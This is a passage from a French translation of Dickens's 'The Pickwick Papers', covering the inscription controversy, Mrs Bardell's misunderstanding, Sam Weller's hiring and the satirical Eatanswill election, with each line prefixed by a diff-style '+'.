+Trois ou quatre jours subséquents furent remplis par les préparatifs
+nécessaires pour leur voyage au bourg d'Eatanswill; mais comme cette
+importante entreprise exige un chapitre séparé, nous emploierons le
+petit nombre de lignes qui nous restent à raconter, avec une grande
+brièveté, l'histoire de l'antiquité rapportée par M. Pickwick.
+
+Il résulte des mémoires du club, que M. Pickwick parla sur sa
+découverte, dans une réunion générale qui eut lieu le lendemain de son
+arrivée, et promena l'esprit charmé de ses auditeurs sur une multitude
+de spéculations ingénieuses et érudites, concernant le sens de
+l'inscription. Il paraît aussi qu'un artiste habile en exécuta le
+dessin, qui fut gravé sur pierre et présenté à la Société royale des
+antiquaires de Londres et aux autres sociétés savantes; que des
+jalousies et des rivalités sans nombre naquirent des opinions émises à
+ce sujet; que M. Pickwick lui-même écrivit un pamphlet de
+quatre-vingt-seize pages, en très-petits caractères, où l'on trouvait
+vingt-sept versions différentes de l'inscription; que trois vieux
+gentlemen, dont les fils ainés avaient osé mettre en doute son
+antiquité, les privèrent de leur succession, et qu'un individu
+enthousiaste fit ouvrir prématurément la sienne, par désespoir de n'en
+avoir pu sonder la profondeur; que M. Pickwick fut élu membre de
+dix-sept sociétés savantes, tant nationales qu'étrangères, pour avoir
+fait cette découverte; qu'aucune des dix-sept sociétés savantes ne put
+en tirer la moindre chose, mais que toutes les dix-sept s'accordèrent
+pour reconnaître que rien n'était plus curieux.
+
+Il est vrai que M. Blotton, et son nom sera dévoué au mépris éternel de
+tous ceux qui cultivent le mystérieux et le sublime; M. Blotton,
+disons-nous, vétilleux et méfiant, comme le sont les esprits vulgaires,
+se permit de considérer la chose sous un point de vue aussi dégradant
+que ridicule. M. Blotton, dans le vil dessein de ternir le nom éclatant
+de Pickwick, entreprit en personne le voyage de Cobham. A son retour, il
+déclara ironiquement au club, qu'il avait vu l'homme dont la pierre
+avait été achetée; que cet individu la croyait ancienne, mais qu'il
+niait solennellement l'ancienneté de l'inscription, et assurait avoir
+gravé lui-même, dans un instant de désoeuvrement, ces lettres grossières,
+qui signifiaient tout bonnement: _Bill Stumps, sa marque_. M. Blotton
+ajoutait que M. Stumps ayant peu l'habitude de la composition, et se
+laissant guider par le son des mots plutôt que par les règles sévères de
+l'orthographe, n'avait mis qu'un _l_ à la fin de son prénom, et avait
+remplacé par un _k_ les lettres _qu_ et _e_ du nom marque.
+
+Les illustres membres du Pickwick-Club, comme on pouvait l'attendre
+d'une société aussi savante, reçurent cette histoire avec le mépris
+qu'elle méritait, chassèrent de leur sein l'ignorant et présomptueux
+Blotton, et votèrent à M. Pickwick une paire de besicles en or, comme un
+gage de leur admiration et de leur confiance. Pour reconnaître cette
+marque d'approbation, M. Pickwick se fit peindre en pied, et fit
+suspendre son portrait dans la salle de réunion du club, portrait que,
+par parenthèse, il n'eut aucune envie de voir disparaître lorsqu'il fut
+moins jeune qu'on ne l'y représentait.
+
+M. Blotton était expulsé, mais il ne se tenait pas pour battu. Il
+adressa aux dix-sept sociétés savantes un pamphlet dans lequel il
+répétait l'histoire qu'il avait émise, et laissait apercevoir assez
+clairement qu'il regardait comme des gobe-mouches les membres des
+dix-sept sociétés susdites.
+
+A cette proposition malsonnante, les dix-sept sociétés furent remplies
+d'indignation. Il parut plusieurs pamphlets nouveaux. Les sociétés
+savantes étrangères correspondirent avec les sociétés savantes
+nationales; les sociétés savantes nationales traduisirent en anglais les
+pamphlets des sociétés savantes étrangères; les sociétés savantes
+étrangères traduisirent dans toutes sortes de langages les pamphlets des
+sociétés savantes nationales, et ainsi, commença cette lutte
+scientifique, si connue de tout l'univers sous le nom de _Controverse
+pickwickienne_.
+
+Cependant les efforts calomnieux destinés à perdre M. Pickwick
+retombèrent sur la tête de leur méprisable auteur. Les dix-sept sociétés
+savantes votèrent unanimement que le présomptueux Blotton n'était qu'un
+tatillon ignorant, et écrivirent contre lui des opuscules sans nombre;
+enfin la pierre elle-même subsiste encore aujourd'hui, monument
+illisible de la grandeur de M. Pickwick et de la petitesse de ses
+détracteurs.
+
+
+
+
+CHAPITRE XII.
+
+Qui contient une très-importante détermination de M. Pickwick, laquelle
+fait époque dans sa vie non moins que dans cette véridique histoire.
+
+
+Quoique l'appartement de M. Pickwick dans la rue Goswell fût d'une
+étendue restreinte, il était propre et confortable, et surtout en
+parfaite harmonie avec son génie observateur. Son parloir était au
+rez-de-chaussée sur le devant, sa chambre à coucher sur le devant, au
+premier étage; et ainsi, soit qu'il fût assis à son bureau, soit qu'il
+se tînt debout devant son miroir à barbe, il pouvait également
+contempler toutes les phases de la nature humaine dans la rue Goswell,
+qui est presque aussi populeuse que populaire. Son hôtesse, Mme Bardell,
+veuve et seule exécutrice testamentaire d'un douanier, était une femme
+grassouillette, aux manières affairées, à la physionomie avenante. A ces
+avantages physiques, elle joignait de précieuses qualités morales: par
+une heureuse étude, par une longue pratique, elle avait converti en un
+talent exquis le don particulier qu'elle avait reçu de la nature pour
+tout ce qui concernait la cuisine. Il n'y avait dans la maison ni
+bambins, ni volatiles, ni domestiques. Un grand homme et un petit garçon
+en complétaient le personnel. Le premier était notre héros, le second
+une production de Mme Bardell. Le grand homme était rentré chaque soir
+précisément à dix heures, et peu de temps après il se condensait dans un
+petit lit français, placé dans un étroit parloir sur le derrière. Quant
+au jeune master Bardell, ses yeux enfantins et ses exercices
+gymnastiques étaient soigneusement restreints aux trottoirs et aux
+ruisseaux du voisinage. La propreté, la tranquillité régnaient donc dans
+tout l'édifice, et la volonté de M. Pickwick y faisait loi.
+
+La veille du départ projeté pour Eatanswill, vers le milieu de la
+matinée, la conduite de notre philosophe devait paraître singulièrement
+mystérieuse et inexplicable, pour quiconque connaissait son admirable
+égalité d'esprit et l'économie domestique de son établissement. Il se
+promenait dans sa chambre d'un pas précipité. De trois minutes en trois
+minutes, il mettait la tête à la fenêtre, il regardait constamment à sa
+montre et laissait échapper divers autres symptômes d'impatience, fort
+extraordinaires chez lui. Il était évident qu'il y avait en l'air
+quelque chose d'une grande importance; mais ce que ce pouvait être, Mme
+Bardell elle-même n'avait pas été capable de le deviner.
+
+«Madame Bardell? dit à la fin M. Pickwick, lorsque cette aimable dame
+fut sur le point de terminer l'époussetage, longtemps prolongé, de sa
+chambre.
+
+--Monsieur? répondit Mme Bardell.
+
+--Votre petit garçon est bien longtemps dehors.
+
+--Vraiment, monsieur, c'est qu'il y a une bonne course d'ici au Borough.
+
+--Ah! cela est juste,» repartit M. Pickwick, et il retomba dans le
+silence.
+
+Mme Bardell recommença à épousseter avec le même soin.
+
+«Madame Bardell? reprit M. Pickwick au bout de quelques minutes.
+
+--Monsieur?
+
+--Pensez-vous que la dépense soit beaucoup plus grande pour deux
+personnes que pour une seule?
+
+--Là! monsieur Pickwick! répliqua Mme Bardell en rougissant jusqu'à la
+garniture de son bonnet, car elle croyait avoir aperçu dans les yeux de
+son locataire un certain clignotement matrimonial. Là! monsieur
+Pickwick, quelle question!
+
+--Hé bien! qu'en pensez-vous?
+
+--Cela dépend! repartit Mme Bardell en approchant son plumeau près du
+coude de M. Pickwick; cela dépend beaucoup de la personne, vous savez,
+monsieur Pickwick; et si c'est une personne soigneuse et économe.
+
+--Cela est très-vrai; mais la personne que j'ai en vue (ici il regarda
+fixement Mme Bardell) possède, je pense, ces qualités. Elle a de plus
+une grande connaissance du monde, et beaucoup de finesse, madame
+Bardell. Cela me sera infiniment utile.
+
+--Là! monsieur Pickwick! murmura Mme Bardell, en rougissant de nouveau.
+
+--J'en suis persuadé! continua le philosophe avec une énergie toujours
+croissante, comme c'était son habitude quand il pariait sur un sujet
+intéressant; j'en suis persuadé, et pour vous dire la vérité, madame
+Bardell, c'est un parti pris.
+
+--Seigneur Dieu! s'écria Mme Bardell.
+
+--Vous trouverez peut-être étrange, poursuivit l'aimable M. Pickwick, en
+jetant à sa compagne un regard de bonne humeur; vous trouverez peut-être
+étrange que je ne vous aie pas consultée à ce sujet, et que je ne vous
+en aie même jamais parlé, jusqu'au moment où j'ai envoyé votre petit
+garçon dehors?»
+
+Mme Bardell ne put répondre que par un regard. Elle avait longtemps
+adoré M. Pickwick comme une divinité dont il ne lui était pas permis
+d'approcher, et voilà que tout d'un coup la divinité descendait de son
+piédestal et la prenait dans ses bras. M. Pickwick lui faisait des
+propositions directement, par suite d'un plan délibéré, car il avait
+envoyé son petit garçon au Borough pour rester seul avec elle. Quelle
+délicatesse! quelle attention!
+
+«Hé bien! dit le philosophe, qu'en pensez-vous?
+
+--Ah! monsieur Pickwick! répondit Mme Bardell toute tremblante
+d'émotion, vous êtes vraiment bien bon, monsieur!
+
+--Cela vous épargnera beaucoup de peines, n'est-il pas vrai?
+
+--Oh! je n'ai jamais pensé à la peine, et naturellement j'en prendrai
+plus que jamais pour vous plaire. Mais vous êtes si bon, monsieur
+Pickwick, d'avoir songé à ma solitude.
+
+--Ah! certainement. Je n'avais pas pensé à cela.... Quand je serai en
+ville, vous aurez toujours quelqu'un pour causer avec vous. C'est, ma
+foi, vrai.
+
+--Il est sûr que je dois me regarder comme une femme bien heureuse!
+
+--Et votre fils?
+
+--Que Dieu bénisse le cher petit! interrompit Mme Bardell avec des
+transports maternels.
+
+--Lui aussi aura un compagnon, poursuivit M. Pickwick en souriant
+gracieusement; un joyeux compagnon qui, j'en suis sûr, lui enseignera
+plus de tours, en une semaine, qu'il n'en aurait appris tout seul en un
+an.
+
+--Oh! cher, excellent homme!» murmura Mme Bardell.
+
+M. Pickwick tressaillit.
+
+«Oh! cher et tendre ami!» Et sans plus de cérémonies, la dame se leva de
+sa chaise et jeta ses bras au cou de M. Pickwick, avec un déluge de
+pleurs et une tempête de sanglots.
+
+«Le ciel me protège! s'écria M. Pickwick plein d'étonnement; madame
+Bardell! ma bonne dame! Bonté divine, quelle situation! Faites
+attention, je vous en prie! Laissez-moi, madame Bardell, si quelqu'un
+venait!
+
+--Eh! que m'importe? répondit Mme Bardell avec égarement; je ne vous
+quitterai jamais! Cher homme! excellent coeur! Et en prononçant ces
+paroles elle s'attachait à M. Pickwick aussi fortement que la vigne à
+l'ormeau.
+
+--Le Seigneur ait pitié de moi! dit M. Pickwick en se débattant de
+toutes ses forces; j'entends du monde sur l'escalier. Laissez-moi, ma
+bonne dame; je vous en supplie, laissez-moi!»
+
+Mais les prières, les remontrances étaient également inutiles, car la
+dame s'était évanouie dans les bras du philosophe, et avant qu'il eût eu
+le temps de la déposer sur une chaise, master Bardell introduisit dans
+la chambre MM. Tupman, Winkle et Snodgrass.
+
+M. Pickwick demeura pétrifié. Il était debout, avec son aimable fardeau
+dans ses bras, et il regardait ses amis d'un air hébété, sans leur faire
+un signe d'amitié, sans songer à leur donner une explication. Eux, à
+leur tour, le considéraient avec étonnement, et master Bardell, plein
+d'inquiétude, examinait tout le monde, sans savoir ce que cela voulait
+dire.
+
+La surprise des pickwickiens était si étourdissante, et la perplexité de
+M. Pickwick si terrible, qu'ils auraient pu demeurer exactement dans la
+même situation relative jusqu'à ce que la dame évanouie eut repris ses
+sens, si son tendre fils n'avait précipité le dénoûment par une belle et
+touchante ébullition d'affection filiale. Ce jeune enfant, vêtu d'un
+costume de velours rayé, orné de gros boutons de cuivre, était d'abord
+demeuré, incertain et confus, sur le pas de la porte; mais, par degrés,
+l'idée que sa mère avait souffert quelque dommage personnel s'empara de
+son esprit à demi-développé. Considérant M. Pickwick comme l'agresseur,
+il poussa un cri sauvage, et se précipitant tête baissée, il commença à
+assaillir cet immortel gentleman aux environs du dos et des jambes, le
+pinçant et le frappant aussi vigoureusement que le lui permettaient la
+force de son bras et la violence de son emportement.
+
+«Otez-moi ce petit coquin! s'écria M. Pickwick dans une agonie de
+désespoir; il est enragé!
+
+--Qu'est-il donc arrivé? demandèrent les trois pickwickiens stupéfaits.
+
+--Je n'en sais rien, répondit le Mentor avec dépit; ôtez-moi cet
+enfant!»
+
+M. Winkle porta à l'autre bout de l'appartement l'intéressant garçon,
+qui criait et se débattait de toutes ses forces.
+
+«Maintenant, poursuivit M. Pickwick, aidez-moi à faire descendre cette
+femme.
+
+--Ah! je suis mieux maintenant, soupira faiblement Mme Bardell.
+
+--Permettez-moi de vous offrir mon bras, dit M. Tupman, toujours galant.
+
+--Merci, monsieur, merci!» s'écria la dame d'une voix hystérique, et
+elle fut conduite en bas, accompagnée de son affectionné fils.
+
+--Je ne puis concevoir, reprit M. Pickwick quand ses amis furent
+revenus, je ne puis concevoir ce qui est arrivé à cette femme. Je venais
+simplement de lui annoncer que je vais prendre un domestique,
+lorsqu'elle est tombée dans le singulier paroxysme où vous l'avez
+trouvée. C'est fort extraordinaire!
+
+--Il est vrai, dirent ses trois amis.
+
+--Elle m'a placé dans une situation bien embarrassante, continua le
+philosophe.
+
+--Il est vrai,» répétèrent ses disciples, en toussant légèrement et en
+se regardant l'un l'autre d'un air dubitatif.
+
+Cette conduite n'échappa pas à M. Pickwick. Il remarqua leur
+incrédulité; son innocence était évidemment soupçonnée.
+
+Après quelques instants de silence, M. Tupman prit la parole et dit:
+
+«Il y a un homme en bas, dans le vestibule.
+
+--C'est celui dont je vous ai parlé, répliqua M. Pickwick; je l'ai
+envoyé chercher au bourg. Ayez la bonté de le faire monter, Snodgrass.»
+
+M. Snodgrass exécuta cette commission, et M. Samuel Weller se présenta
+immédiatement.
+
+«Ha! ha! vous me reconnaissez, je suppose? lui dit M. Pickwick.
+
+--Un peu! répliqua Sam avec un clin d'oeil protecteur. Drôle de gaillard,
+celui-là! Trop malin pour vous, hein? il vous a légèrement enfoncé,
+n'est-ce pas?
+
+--Il ne s'agit point de cela maintenant, reprit vivement le philosophe;
+j'ai à vous parler d'autre chose. Asseyez-vous.
+
+--Merci, monsieur, répondit Sam, et il s'assit sans autre cérémonie,
+ayant préalablement déposé son vieux chapeau blanc sur le carré. Ça
+n'est pas fameux, disait-il en parlant de son couvre-chef, et en
+souriant agréablement aux pickwickiens assemblés, mais c'est étonnant à
+l'user. Quand il avait des bords, c'était un beau bolivar; depuis qu'il
+n'en a plus, il est plus léger; c'est quelque chose: et puis chaque trou
+laisse entrer de l'air; c'est encore quelque chose. J'appelle ça un
+feutre ventilateur.
+
+--Maintenant, reprit M. Pickwick, il s'agit de l'affaire pour laquelle
+je vous ai envoyé chercher, avec l'assentiment de ces messieurs.
+
+--C'est ça, monsieur, accouchons, comme dit c't autre à son enfant qui
+avait avalé un liard.
+
+--Nous désirons savoir, en premier lieu, si vous avez quelque raison
+d'être mécontent de votre condition présente.
+
+--Avant de satisfaire cette question ici, je désirerais savoir, en
+premier lieu, si vous en avez une meilleure à me donner.»
+
+Un rayon de calme bienveillance illumina les traits de M. Pickwick
+lorsqu'il répondit: «J'ai quelque envie de vous prendre à mon service.
+
+--Vrai?» demanda Sam.
+
+M. Pickwick fit un geste affirmatif.
+
+--Gages?
+
+--Douze guinées par an.
+
+--Habits?
+
+--Deux habillements.
+
+--L'ouvrage?
+
+--Me servir et voyager avec moi et ces gentlemen.
+
+--Otez l'écriteau! s'écria Sam avec emphase. Je suis loué à un gentleman
+seul, et le terme est convenu.
+
+--Vous acceptez ma proposition?
+
+--Certainement. Si les habits me prennent la taille moitié aussi bien
+que la place, ça ira.
+
+--Naturellement, vous pouvez fournir de bons certificats?
+
+--Demandez à l'hôtesse du _Blanc-Cerf_, elle vous dira ça, monsieur.
+
+--Pouvez-vous venir ce soir?
+
+--Je vas endosser l'habit à l'instant même, s'il est ici, s'écria Sam
+avec une grande allégresse.
+
+--Revenez ce soir, à huit heures, répondit M. Pickwick, et si les
+renseignements sont satisfaisants, nous verrons à vous faire habiller.»
+
+Sauf une aimable indiscrétion, dont s'était en même temps rendue
+coupable une des servantes de l'hôtel, la conduite de M. Weller avait
+toujours été très-méritoire. M. Pickwick n'hésita donc pas à le prendre
+à son service, et avec la promptitude et l'énergie qui caractérisaient
+non seulement la conduite publique, mais toutes les actions privées de
+cet homme extraordinaire, il conduisit immédiatement son nouveau
+serviteur dans un de ces commodes _emporiums_, où l'on peut se procurer
+des habits confectionnés ou d'occasion, et où l'on se dispense de la
+formalité inconnue de prendre mesure. Avant la chute du jour, M. Weller
+était revêtu d'un habit gris avec des boutons P.C., d'un chapeau noir
+avec une cocarde, d'un gilet rayé, de culottes et de guêtres, et d'une
+quantité d'autres objets trop nombreux pour que nous prenions la peine
+de les récapituler.
+
+Lorsque, le lendemain matin, cet individu, si soudainement transformé,
+prit sa place à l'extérieur de la voiture d'Eatanswill: «Ma foi, se
+dit-il, je ne sais point si je vas être un valet de pied, ou un groom,
+ou un garde-chasse; j'ai la philosomie mitoyenne entre tout ça; mais
+c'est égal, ça va me changer d'air; y'a du pays à voir, et pas
+grand'chose à faire, ça va fameusement à ma maladie: ainsi donc vive
+Pickwick, que je dis!»
+
+
+
+
+
+CHAPITRE XIII.
+
+Notice sur Eatanswill, sur les partis qui le divisent, et sur l'élection
+d'un membre du parlement par ce bourg ancien, loyal et patriote.
+
+
+Nous confessons franchement que nous n'avions jamais entendu parler
+d'Eatanswill, jusqu'au moment où nous nous sommes plongé dans les
+volumineux papiers du Pickwick-Club. Nous reconnaissons, avec une égale
+candeur, que nous avons cherché en vain des preuves de l'existence
+actuelle de cet endroit. Sachant bien quelle profonde confiance on doit
+placer dans toutes les notes de M. Pickwick, et ne nous permettant pas
+d'opposer nos souvenirs aux énonciations de ce grand homme, nous avons
+consulté, relativement à ce sujet, toutes les autorités auxquelles il
+nous a été possible de recourir. Nous avons examiné tous les noms
+contenus dans les tables A et B[16], sans trouver celui d'Eatanswill;
+nous avons minutieusement collationné toutes les cartes des comtés,
+publiées, dans l'intérêt de la science, par nos plus distingués
+éditeurs, et le même résultat a suivi nos investigations.
+
+[Footnote 16: C'est-à-dire dans la loi sur les élections.
+
+(_Note du traducteur_.)]
+
+Nous avons donc été conduit à supposer que, dans la crainte obligeante
+de blesser quelqu'un, et par un sentiment de délicatesse dont M.
+Pickwick était si éminemment doué, il avait, de propos délibéré,
+substitué un nom fictif au nom réel de l'endroit où il avait fait ses
+observations. Nous sommes confirmé dans cette opinion par une
+circonstance qui peut sembler légère et frivole en elle-même, mais qui,
+considérée sous ce point de vue, n'est point indigne d'être notée. Dans
+le mémorandum de M. Pickwick, nous pouvons encore découvrir que sa place
+et celles de ses disciples furent retenues dans la voiture de Norwich;
+mais cette note fut ensuite rayée, apparemment pour ne point indiquer
+dans quelle direction est situé le bourg dont il s'agit. Nous ne
+hasarderons donc point de conjectures à ce sujet, et nous allons
+poursuivre notre histoire sans autre digression.
+
+Il paraît que les habitants d'Eatanswill, comme ceux de beaucoup
+d'autres petits endroits, se croyaient d'une grande, d'une immense
+importance dans l'État; et chaque individu ayant la conscience du poids
+attaché à son exemple, se faisait une obligation de s'unir corps et âme
+à l'un des deux grands partis qui divisaient la cité, les _bleus_ et les
+_jaunes_. Or, les bleus ne laissaient échapper aucune occasion de
+contrecarrer les jaunes, et les jaunes ne laissaient échapper aucune
+occasion de contrecarrer les bleus; de sorte que quand les jaunes et les
+bleus se trouvaient face à face dans quelque réunion publique, à l'hôtel
+de ville, dans une foire, dans un marché, des gros mots et des disputes
+s'élevaient entre eux. Il est superflu d'ajouter que dans Eatanswill
+toutes choses devenaient une question de parti. Si les jaunes
+proposaient de recouvrir la place du marché, les bleus tenaient des
+assemblées publiques où ils démolissaient cette mesure. Si les bleus
+proposaient d'ériger une nouvelle pompe dans la grande rue, les jaunes
+se levaient comme un seul homme et déblatéraient contre une aussi infâme
+motion. Il y avait des boutiques bleues et des boutiques jaunes, des
+auberges bleues et des auberges jaunes; il y avait une aile bleue et une
+aile jaune dans l'église elle-même.
+
+Chacun de ces puissants partis devait nécessairement avoir un organe
+avoué, et, en effet, il paraissait deux feuilles publiques dans la
+ville, la _Gazette d'Eatanswill_ et l'_Indépendant d'Eatanswill_. La
+première soutenait les principes bleus, le second se posait sur un
+terrain décidément jaune. C'étaient d'admirables journaux. Quels beaux
+articles politiques! quelle polémique spirituelle et courageuse. «La
+_Gazette_, notre ignoble antagoniste....--L'_Indépendant_, ce méprisable
+et dégoûtant journal....--La _Gazette_, cette feuille menteuse et
+ordurière....--L'_Indépendant_, ce vil et scandaleux calomniateur....»
+Telles étaient les récriminations intéressantes qui assaisonnaient les
+colonnes de chaque numéro, et qui excitaient dans le sein des habitants
+de l'endroit les sentiments les plus chaleureux de plaisir ou
+d'indignation.
+
+M. Pickwick, avec sa prévoyance et sa sagacité ordinaires, avait choisi,
+pour visiter ce bourg, une époque singulièrement remarquable. Jamais il
+n'y avait eu une telle lutte. L'honorable Samuel Slumkey, de
+Slumkey-Hall[17], était le candidat bleu; Horatio Fizkin, esquire, de
+Fizkin-Loge, près d'Eatanswill, avait cédé aux instances de ses amis, et
+s'était laissé porter pour soutenir les intérêts jaunes. La _Gazette_
+avertit les électeurs d'Eatanswill que les regards, non-seulement de
+l'Angleterre, mais du monde civilisé tout entier, étaient fixés sur eux.
+L'_Indépendant_ demanda d'un ton péremptoire si les électeurs
+d'Eatanswill méritaient encore la renommée qu'ils avaient acquise d'être
+de grands, de généreux citoyens, ou s'ils étaient devenus de serviles
+instruments du despotisme, indignes également du nom d'Anglais et des
+bienfaits de la liberté. Jamais une commotion aussi profonde n'avait
+encore ébranlé la ville.
+
+[Footnote 17: _Hall, château._]
+
+La soirée était avancée quand M. Pickwick et ses compagnons, assistés
+par Sam Weller, quittèrent l'impériale de la voiture d'Eatanswill. De
+grands drapeaux bleus flottaient aux fenêtres de l'auberge des _Armes de
+la ville_, et des écriteaux, placés derrière les vitres, indiquaient en
+caractères gigantesques que le comité de l'honorable Samuel Slumkey, y
+tenait ses séances. Un groupe de flâneurs, assemblés devant la porte de
+l'auberge, regardaient un homme enroué, placé sur le balcon de
+l'auberge, et qui paraissait parler en faveur de M. Samuel Slumkey, avec
+tant de chaleur que son visage en devenait tout rouge. Mais la force et
+la beauté de ses arguments étaient légèrement infirmées par le
+roulement perpétuel de quatre énormes tambours, posés au coin de la rue
+par le comité de M. Fizkin. Quoi qu'il en soit, un petit homme affairé,
+qui se tenait auprès de l'orateur, ôtait de temps en temps son chapeau
+et faisait signe à la foule d'applaudir. La foule applaudissait alors
+régulièrement et avec beaucoup d'enthousiasme; et comme l'homme enroué
+allait toujours parlant, quoique son visage devint de plus en plus
+rouge, on pouvait croire que son but était atteint, aussi bien que si
+l'on avait pu l'entendre.
+
+Aussitôt que les pickwickiens furent descendus de leur voiture, ils se
+virent entourés par une partie de la populace, qui, sur-le-champ, poussa
+trois acclamations assourdissantes. Ces acclamations, répétées par le
+rassemblement principal (car la foule n'a nullement besoin de savoir
+pourquoi elle crie), s'enflèrent en un rugissement de triomphe si
+effroyable, que l'homme au rouge visage en resta court sur son balcon.
+
+«Hourra! hurla le peuple pour terminer.
+
+--Encore une acclamation! s'écria le petit homme affairé sur le balcon.»
+Et la multitude de rugir aussitôt, comme si elle avait eu un larynx de
+fonte et des poumons d'acier trempé.
+
+«Vive Slumkey! beugla la multitude.
+
+--Vive Slumkey! répéta M. Pickwick en ôtant son chapeau.
+
+--A bas Fizkin! vociféra la foule.
+
+--Oui, assurément! s'écria M. Pickwick.
+
+--Hourra!» Et alors un autre rugissement s'éleva, semblable à celui de
+toute une ménagerie quand l'éléphant a sonné l'heure du repas.
+
+«Quel est ce Slumkey? demanda tout bas M. Tupman.
+
+--Je n'en sais rien, reprit M. Pickwick sur le même ton. Silence! ne
+faites point de question. Dans ces occasions, il faut faire comme la
+foule.
+
+--Mais supposez qu'il y ait deux partis, fit observer M. Snodgrass.
+
+--Criez avec les plus forts.» répliqua M. Pickwick.
+
+Des volumes n'auraient pu en dire davantage.
+
+Ils entrèrent dans la maison, la populace s'ouvrant à droite et à gauche
+pour les laisser passer et poussant des acclamations bruyantes. Ce qu'il
+y avait à faire, en premier lieu, c'était de s'assurer un logement pour
+la nuit.
+
+«Pouvons-nous avoir des lits ici? demanda M. Pickwick au garçon.
+
+--Je n'en sais rien, m'sieu. J'ai peur qu'ils ne soient tous pris,
+m'sieu. Je vais m'informer, m'sieu.»
+
+Il s'éloigna, mais revenant aussitôt, demanda si les gentlemen étaient
+_bleus_.
+
+Comme M. Pickwick et ses compagnons ne prenaient guère d'intérêt à la
+cause des candidats, la question était difficile à résoudre. Dans ce
+dilemme, M. Pickwick pensa à son nouvel ami, M. Perker.
+
+--Connaissez-vous, dit-il, un gentleman nommé Perker?
+
+--Certainement, m'sieu; l'agent de l'honorable M. Samuel Slumkey.
+
+--Il est bleu, je pense?
+
+--Oh! oui, m'sieu.
+
+--Alors nous sommes bleus,» dit M. Pickwick; mais remarquant que le
+garçon recevait d'un air dubitatif cette profession de foi accommodante,
+il lui donna sa carte en lui disant de la remettre sur-le-champ à M.
+Perker, s'il était dans la maison. Le garçon disparut, mais il reparut
+bientôt, pria M. Pickwick de le suivre, et le conduisit dans une grande
+salle, où M. Perker était assis à une longue table, derrière un monceau
+de livres et de papiers.
+
+«Ha! ha! mon cher monsieur, dit le petit homme en s'avançant pour
+recevoir M. Pickwick. Très-heureux de vous voir, mon cher monsieur.
+Asseyez-vous, je vous prie. Ainsi vous avez exécuté votre projet? Vous
+êtes venu pour assister à l'élection, n'est-ce pas?»
+
+M. Pickwick répondit affirmativement.
+
+«Une élection bien disputée, mon cher monsieur.
+
+--J'en suis charmé, répondit M. Pickwick en se frottant les mains.
+J'aime à voir cette chaleur patriotique, n'importe pour quel parti:
+c'est donc une élection disputée?
+
+--Oh! oui, singulièrement. Nous avons retenu toutes les auberges de
+l'endroit et n'avons laissé à nos adversaires que les boutiques de
+bière. C'est un coup de maître, mon cher monsieur, qu'en dites-vous?»
+
+Le petit homme, en parlant ainsi, souriait complaisamment et insérait
+dans ses narines une large prise de tabac.
+
+«Et quel est le résultat probable de l'élection?
+
+--Douteux, mon cher monsieur, douteux jusqu'à présent. Les gens de
+Fizkin ont trente-trois votante dans les remises du _Blanc-Cerf_.
+
+--Dans les remises! s'écria M. Pickwick, singulièrement étonné par cet
+autre coup de maître.
+
+--Ils les y tiennent enfermés jusqu'au moment où ils en auront besoin,
+afin de nous empêcher, comme vous vous en doutez bien, d'arriver jusqu'à
+eux. Mais quand même nous pourrions leur parler, cela ne nous servirait
+pas à grand'chose, car ils les maintiennent exprès constamment gris. Un
+habile homme, l'agent de Fizkin! Un habile homme, en vérité!»
+
+M. Pickwick ouvrit de grands yeux, mais il ne dit rien.
+
+«Malgré cela, poursuivit M. Perker en baissant la voix, malgré cela,
+nous avons bonne espérance. Nous avons donné un thé ici, la nuit
+dernière. Quarante-cinq femmes, mon cher monsieur, et lorsqu'elles sont
+parties, nous avons offert à chacune d'elles un parasol vert.
+
+--Un parasol! s'écria M. Pickwick.
+
+--Oui, mon cher monsieur, oui, quarante-cinq parasols verts, à sept
+shillings et six pence la pièce. Toutes les femmes sont coquettes: ces
+parasols ont produit un effet incroyable; assuré tous les maris et la
+moitié des frères; enfoncé les bas, la flanelle et toutes ces sortes de
+choses. Idée de moi, mon cher monsieur, entièrement de moi. Grêle,
+pluie, soleil, vous ne pouvez pas faire quinze pas dans la ville, sans
+rencontrer une demi-douzaine de parasols verts.»
+
+Ici le petit avoué se laissa aller à des convulsions de gaieté qui ne
+furent interrompues que par l'entrée en scène d'un troisième
+interlocuteur.
+
+C'était un homme long et fluet. Sa tête, d'un roux ardent, paraissait
+inclinée à devenir chauve; sur son visage se peignaient une importance
+solennelle, une profondeur incommensurable. Il était revêtu d'une longue
+redingote brune, d'un gilet et d'un pantalon de drap noir. Un double
+lorgnon se dandinait sur sa poitrine; sur sa tête il portait un chapeau
+dont la forme était étonnamment basse et les bords étonnamment larges.
+Ce nouveau venu fut présenté à M. Pickwick comme M. Pott, éditeur de la
+_Gazette d'Eatanswill_.
+
+Après quelques remarques préliminaires, M. Pott se tourna vers M.
+Pickwick et lui dit avec solennité:
+
+«Cette élection excite un grand intérêt dans la métropole, monsieur.
+
+--Je le pense, répondit M. Pickwick.
+
+--Auquel je puis me flatter, continua M. Pott en regardant M. Perker de
+manière à faire confirmer ses paroles, auquel je puis me flatter
+d'avoir contribué en quelque chose par mon article de samedi dernier.
+
+--Sans aucun doute, assura le petit homme.
+
+--Monsieur, poursuivit M. Pott, la presse est un puissant engin.»
+
+M. Pickwick donna un assentiment complet à cette proposition.
+
+«Mais je me flatte, monsieur, que je n'ai jamais abusé de l'énorme
+pouvoir que je possède. Je me flatte, monsieur, que je n'ai jamais
+dirigé le noble instrument placé entre mes mains par la Providence,
+contre le sanctuaire inviolable de la vie privée, contre la réputation
+des individus, cette fleur tendre et fragile. Je me flatte, monsieur,
+que j'ai dévoué toute mon énergie à... à des efforts... faibles
+peut-être, oui, j'en conviens, à de faibles efforts, pour inculquer ces
+principes que... dont... pour lesquels....»
+
+L'éditeur de la _Gazette d'Eatanswill_ paraissant s'embrouiller, M.
+Pickwick vint à son secours en lui disant:
+
+«Certainement, monsieur.
+
+--Et permettez-moi de vous demander, monsieur, de vous demander comme à
+un homme impartial ce que le public de Londres pense de ma polémique
+avec l'_Indépendant_?»
+
+M. Perker s'interposa et dit avec un sourire malicieux qui n'était pas
+tout à fait accidentel:
+
+«Le public de Londres s'y intéresse beaucoup, sans aucun doute.
+
+--Cette polémique, poursuivit le journaliste, sera continuée aussi
+longtemps qu'il me restera un peu de santé et de force, un peu de ces
+talents que j'ai reçus de la nature. A cette polémique, monsieur,
+quoiqu'elle puisse déranger l'esprit des hommes, exaspérer leurs
+opinions et les rendre incapables de s'occuper des devoirs prosaïques de
+la vie ordinaire; à cette polémique, monsieur, je consacrerai toute mon
+existence, jusqu'à ce que j'aie broyé sous mon pied l'_Indépendant
+d'Eatanswill_. Je désire, monsieur, que le peuple de Londres, que le
+peuple de mon pays sache qu'il peut compter sur moi, que je ne
+l'abandonnerai point, que je suis résolu, monsieur, à demeurer son
